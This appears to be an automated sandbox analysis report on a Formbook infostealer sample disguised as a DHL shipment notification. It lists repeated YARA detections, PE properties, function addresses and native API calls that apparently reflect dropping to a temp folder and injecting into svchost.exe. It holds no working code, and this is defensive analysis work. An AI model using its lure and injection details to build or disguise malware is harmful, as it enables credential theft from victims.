Source: Yara match	File source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.0.aeokw.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.0.aeokw.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.aeokw.exe.12a0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.aeokw.exe.12a0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.0.aeokw.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.0.aeokw.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.aeokw.exe.12a0000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.aeokw.exe.12a0000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.aeokw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.aeokw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.0.aeokw.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.0.aeokw.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.0.aeokw.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.0.aeokw.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.aeokw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.aeokw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.0.aeokw.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.0.aeokw.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 2.0.aeokw.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.0.aeokw.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.aeokw.exe.12a0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.aeokw.exe.12a0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.0.aeokw.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.0.aeokw.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.aeokw.exe.12a0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.aeokw.exe.12a0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.aeokw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.aeokw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.0.aeokw.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.0.aeokw.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.0.aeokw.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.0.aeokw.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.aeokw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.aeokw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.0.aeokw.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.0.aeokw.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

Code function: 0_2_00403646 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D71890
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D77E88
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D796A0
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D79C12
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D7B3F1
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D7A184
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D7C3BD
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00401030
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041E28A
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041EBD9
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041E3E9
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041D563
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00402D87
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00409E4B
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00409E50
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041DE6E
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041DFE4
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D71890
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D7A184
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D7B3F1
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D79C12
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D77E88
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D796A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F2B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304AB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305EBB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E03DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EDBD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305ABD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030DFA2B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F22AE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302F900
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03044120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1002
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030FE824
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303B090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F20A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F28EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030FDFCE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F1FF1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030ED616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03046E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F2EF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F2D07
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03020D20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F1D55
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052581
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F25DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303D5E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303841F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030ED466
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239EBD9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_02389E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_02389E4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_02382FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_02382D90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_02382D87

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0302B150 appears 87 times
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: String function: 00D72400 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: String function: 00D74599 appears 38 times

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041A320 NtCreateFile,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041A3D0 NtReadFile,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041A450 NtClose,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041A500 NtAllocateVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041A31F NtCreateFile,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041A3CE NtReadFile,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041A4FB NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030699A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069650 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030696D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030696E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030695D0 NtClose,LdrInitializeThunk,
